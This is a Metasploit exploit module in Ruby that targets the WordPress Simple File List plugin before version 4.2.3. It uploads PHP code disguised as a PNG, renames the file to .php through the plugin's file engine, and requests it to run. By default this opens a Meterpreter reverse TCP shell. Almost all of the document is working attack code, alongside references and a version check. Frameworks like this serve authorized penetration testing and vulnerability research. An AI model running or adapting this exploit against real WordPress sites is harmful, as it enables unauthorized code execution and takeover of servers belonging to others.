##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Simple File List Unauthenticated Remote Code Execution',
        'Description' => %q{
          Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers
          to upload files within a controlled list of extensions.  However, the rename function does not conform to
          the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed
          to php and executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'coiffeur', # initial discovery and PoC
          'h00die', # msf module
        ],
        'References' => [
          [ 'URL', 'https://wpscan.com/vulnerability/10192' ],
          [ 'URL', 'https://www.cybersecurity-help.cz/vdb/SB2020042711' ],
          [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list' ],
          [ 'EDB', '48349' ]
        ],
        'Platform' => [ 'php' ],
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'Default',
            {
              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2020-04-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']),
      ]
    )
  end

  def dir_path
    '/wp-content/uploads/simple-file-list/'
  end

  def upload_path
    '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
  end

  def move_path
    '/wp-content/plugins/simple-file-list/ee-file-engine.php'
  end

  def upload(filename)
    print_status('Attempting to upload the PHP payload as a PNG file')
    now = Date.today.to_time.to_i.to_s
    data = Rex::MIME::Message.new
    data.add_part('1', nil, nil, 'form-data; name="eeSFL_ID"')
    data.add_part(dir_path, nil, nil, 'form-data; name="eeSFL_FileUploadDir"')
    data.add_part(now, nil, nil, 'form-data; name="eeSFL_Timestamp"')
    data.add_part(Digest::MD5.hexdigest("unique_salt#{now}"), nil, nil, 'form-data; name="eeSFL_Token"')
    data.add_part("#{payload.encoded}\n", 'image/png', nil, "form-data; name=\"file\"; filename=\"#{filename}.png\"")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, upload_path),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200
    # the server will respond with a 200, but if the timestamp and token dont match it wont give back SUCCESS as it failed
    fail_with(Failure::UnexpectedReply, "#{peer} - File failed to upload") unless res.body.include?('SUCCESS')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.png"),
      'method' => 'GET'
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
    # 404 could be AV got it or something similar
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}.  File was uploaded successfully, but could not be found.") if res.code == 404
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200

    print_good('PNG payload successfully uploaded')
  end

  def rename(filename)
    print_status("Attempting to rename #{filename}.png to #{filename}.php")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, move_path),
      'method' => 'POST',
      'vars_post' => {
        'eeSFL_ID' => 1,
        'eeFileOld' => "#{filename}.png",
        'eeListFolder' => '/',
        'eeFileAction' => "Rename|#{filename}.php"
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200

    print_good("Successfully renamed #{filename}.png to #{filename}.php")
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    # check the plugin version from readme
    check_plugin_version_from_readme('simple-file-list', '4.2.3', '1.0.1')
  end

  def exploit
    # filename of the file to be uploaded/created
    filename = Rex::Text.rand_text_alphanumeric(8)
    register_file_for_cleanup("#{filename}.php")

    upload(filename)
    rename(filename)
    print_status('Triggering shell')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.php"),
      'method' => 'GET'
    )
  end
end
